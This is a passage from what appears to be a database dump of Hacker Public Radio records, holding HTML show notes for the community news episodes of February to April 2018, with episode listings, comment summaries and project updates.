Dave)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2492#comments\" target=\"_blank\">hpr2492</a></strong>\n(2018-02-20) \"<em>An Evening Subway Ride</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=362\" target=\"_blank\">MPardo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2492#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-02-19:\n\"Swapping in..\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2492#2\" target=\"_blank\">Comment 2</a>:\nRWA on 2018-02-20:\n\"hpr2492 :: An Evening Subway Ride\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2492#3\" target=\"_blank\">Comment 3</a>:\nMPardo on 2018-02-20:\n\"Screeching Steel Wheels\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2492#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2018-02-23:\n\"Meta\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2493#comments\" target=\"_blank\">hpr2493</a></strong>\n(2018-02-21) \"<em>YouTube Subscriptions - update</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2493#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2018-02-21:\n\"Entertained!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2493#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-02-27:\n\"Enjoy!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2495#comments\" target=\"_blank\">hpr2495</a></strong>\n(2018-02-23) \"<em>10 Years of Xoke</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2495#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-02-22:\n\"Wow\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2496#comments\" target=\"_blank\">hpr2496</a></strong>\n(2018-02-26) \"<em>Making a Raspberry Pi inventory</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2496#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2018-02-26:\n\"Directly into my toolbox\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2496#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-02-27:\n\"Thanks b-yeezi\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-February/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> for sending in updates in the past month.</p>\n<p>Over the period 25 shows have had tags and/or summaries added.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n<p>This page has been extended this month by the addition of a list of tags at the end. Each tag is followed by the show numbers which use that tag, each being a link to the show.</p>\n<p>The thinking is that if you are considering which tags to add to a show without them you can look through this list to find out whether other people have used the tag and in what context.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2521,'2018-04-02','HPR Community News for March 2018',3923,'HPR Volunteers talk about shows released and comments posted in March 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=363\" target=\"_blank\">the_remora</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2499\" target=\"_blank\">2499</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-03-01</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2499\" target=\"_blank\">Tuning around the HF 40Mtr band</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2500\" target=\"_blank\">2500</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-03-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2500\" target=\"_blank\">What\'s In My Podcatcher 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2501\" target=\"_blank\">2501</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-03-05</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2501\" target=\"_blank\">HPR Community News for February 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2502\" target=\"_blank\">2502</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-03-06</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2502\" target=\"_blank\">Volume Of Thought</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2503\" target=\"_blank\">2503</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-03-07</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2503\" target=\"_blank\">My journey into podcasting</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2504\" target=\"_blank\">2504</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-03-08</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2504\" target=\"_blank\">Intro to Git with pen and paper</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2505\" target=\"_blank\">2505</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-03-09</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2505\" target=\"_blank\">The power of GNU Readline - part 3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2506\" target=\"_blank\">2506</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-03-12</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2506\" target=\"_blank\">Build Your Own Lisp (A Book Review)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2507\" target=\"_blank\">2507</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-03-13</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2507\" target=\"_blank\">Racket, Nix, Fractalide and the sounds of a Hong Kong New Town</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2508\" target=\"_blank\">2508</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-03-14</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2508\" target=\"_blank\">False Prophets</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2509\" target=\"_blank\">2509</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-03-15</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2509\" target=\"_blank\">AudioBookClub 16 Matcher Rules</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2510\" target=\"_blank\">2510</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-03-16</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2510\" target=\"_blank\">26 - Diffie-Hellman-Merkle Key Exchange</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2511\" target=\"_blank\">2511</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-03-19</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2511\" target=\"_blank\">Response to episode 2496</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2512\" target=\"_blank\">2512</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-03-20</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2512\" target=\"_blank\">Intro to git remote</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2513\" target=\"_blank\">2513</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-03-21</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2513\" target=\"_blank\">Why I choose Aperture first</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2514\" target=\"_blank\">2514</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-03-22</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2514\" target=\"_blank\">Electronics Calculator Kit</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2515\" target=\"_blank\">2515</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-03-23</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2515\" target=\"_blank\">HPR 2017 New Years Eve show part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2516\" target=\"_blank\">2516</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-03-26</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2516\" target=\"_blank\">Intro to git branch</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2517\" target=\"_blank\">2517</a></strong></td>\n    <td>Tue</td>\n    <td><small>2018-03-27</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2517\" target=\"_blank\">DIY CCTV Security System</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2518\" target=\"_blank\">2518</a></strong></td>\n    <td>Wed</td>\n    <td><small>2018-03-28</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2518\" target=\"_blank\">Converting My Laptop to Dual Boot</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2519\" target=\"_blank\">2519</a></strong></td>\n    <td>Thu</td>\n    <td><small>2018-03-29</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2519\" target=\"_blank\">the_remora Builds a character in Edge of the Empire</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=363\" target=\"_blank\">the_remora</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2520\" target=\"_blank\">2520</a></strong></td>\n    <td>Fri</td>\n    <td><small>2018-03-30</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2520\" target=\"_blank\">Diffie-Hellman and Forward Secrecy</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 34 comments in total.</p>\n<p>There are 5 comments on\n4 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2403#comments\" target=\"_blank\">hpr2403</a></strong>\n(2017-10-18) \"<em>Amateur Radio Round Table #3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2403#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2018-03-05:\n\"Waveform Site\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2453#comments\" target=\"_blank\">hpr2453</a></strong>\n(2017-12-27) \"<em>The power of GNU Readline - part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2453#1\" target=\"_blank\">Comment 1</a>:\nHipstre on 2018-03-31:\n\"GNU Readline 2\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2486#comments\" target=\"_blank\">hpr2486</a></strong>\n(2018-02-12) \"<em>Some stuff I bought at a recent amateur radio rally</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2486#1\" target=\"_blank\">Comment 1</a>:\nDave Morriss on 2018-03-01:\n\"Quite a haul!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2486#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2018-03-10:\n\"Re Quite a haul!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2498#comments\" target=\"_blank\">hpr2498</a></strong>\n(2018-02-28) \"<em>Life without Google</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2498#1\" target=\"_blank\">Comment 1</a>:\nDraco Metallium on 2018-03-03:\n\"No more e-mails on my phone.\"</li></ul><br/>\n</li></ul>\n<p>There are 29 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2499#comments\" target=\"_blank\">hpr2499</a></strong>\n(2018-03-01) \"<em>Tuning around the HF 40Mtr band</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2499#1\" target=\"_blank\">Comment 1</a>:\nMichael on 2018-03-06:\n\"Great show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2499#2\" target=\"_blank\">Comment 2</a>:\nMrX on 2018-03-10:\n\"re Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2500#comments\" target=\"_blank\">hpr2500</a></strong>\n(2018-03-02) \"<em>What\'s In My Podcatcher 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2500#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2018-03-06:\n\"How in the world...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2500#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2018-03-06:\n\"It&#39;s just what I do\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2501#comments\" target=\"_blank\">hpr2501</a></strong>\n(2018-03-05) \"<em>HPR Community News for February 2018</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2501#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2018-03-03:\n\"https://duidelijkautistisch.nl/\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2501#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2018-03-03:\n\"Escape for pipe\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2501#3\" target=\"_blank\">Comment 3</a>:\nClinton Roy on 2018-03-04:\n\"Thank you.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2501#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2018-03-07:\n\"Re: flea market\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2502#comments\" target=\"_blank\">hpr2502</a></strong>\n(2018-03-06) \"<em>Volume Of Thought</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2502#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2018-03-10:\n\"Two comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2503#comments\" target=\"_blank\">hpr2503</a></strong>\n(2018-03-07) \"<em>My journey into podcasting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2503#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-03-06:\n\"Wow\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2503#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2018-03-08:\n\"Re: Wow\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2505#comments\" target=\"_blank\">hpr2505</a></strong>\n(2018-03-09) \"<em>The power of GNU Readline - part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2505#1\" target=\"_blank\">Comment 1</a>:\nJan on 2018-03-09:\n\"Some Lines Of Support\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2505#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2018-03-09:\n\"Comment Command\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2505#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2018-03-11:\n\"Surprisingly useful\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2505#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2018-03-25:\n\"Thanks for the comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2507#comments\" target=\"_blank\">hpr2507</a></strong>\n(2018-03-13) \"<em>Racket, Nix, Fractalide and the sounds of a Hong Kong New Town</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2507#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-02-25:\n\"typo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2507#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-02-26:\n\"Re: typo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2507#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2018-02-26:\n\"Re: typo\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2507#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2018-02-28:\n\"Re: that info.rkt for a node\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2507#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2018-03-20:\n\"Re: that info.rkt for a node\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2508#comments\" target=\"_blank\">hpr2508</a></strong>\n(2018-03-14) \"<em>False Prophets</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2508#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-03-23:\n\"You&#39;re right to worry, but ...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2508#2\" target=\"_blank\">Comment 2</a>:\nLostnbronx on 2018-03-26:\n\"I Agree With You, But...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2508#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2018-03-28:\n\"Wendover Productions video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2509#comments\" target=\"_blank\">hpr2509</a></strong>\n(2018-03-15) \"<em>AudioBookClub 16 Matcher Rules</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2509#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2018-03-15:\n\"interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2514#comments\" target=\"_blank\">hpr2514</a></strong>\n(2018-03-22) \"<em>Electronics Calculator Kit</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2514#1\" target=\"_blank\">Comment 1</a>:\nthelovebug on 2018-03-22:\n\"Blind faith\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2514#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2018-03-22:\n\"Enjoy the kit, Dave.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2514#3\" target=\"_blank\">Comment 3</a>:\nthelovebug on 2018-03-24:\n\"Done and dusted\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2515#comments\" target=\"_blank\">hpr2515</a></strong>\n(2018-03-23) \"<em>HPR 2017 New Years Eve show part 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2515#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2018-03-27:\n\"Markdown shownotes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2516#comments\" target=\"_blank\">hpr2516</a></strong>\n(2018-03-26) \"<em>Intro to git branch</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2516#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2018-03-26:\n\"Intro to git\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-March/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-March/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"new-series\">New series</h3>\n<p>Three new series have been added to HPR this month:</p>\n<ul>\n<li>GNU Readline: shows about the Readline library</li>\n<li>Hobby Electronics: building electronic circuits and kits</li>\n<li>Introduction to Git: Klaatu\'s series of Git shows</li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> for sending in updates in the past month.</p>\n<p>Over the period 40 shows missing tags and/or summaries have been made whole.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n<p>The summary page has been further enhanced this month. The list of tags at the end of the page has been laid out to show the blocks with the same starting letter, and an alphabetic index added at the front. It is hoped that this will make it easier to find tags relating to the show to which you are about to add tags.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2546,'2018-05-07','HPR Community News for April 2018',1591,'Ken is on his own and talks about shows released and comments posted in April 2018','\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=364\" target=\"_blank\">tuturto</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=365\" target=\"_blank\">bookewyrmm</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2521\" target=\"_blank\">2521</a></strong></td>\n    <td>Mon</td>\n    <td><small>2018-04-02</small></td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2521\" target=\"_blank\">HPR Community News for March 2018</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr 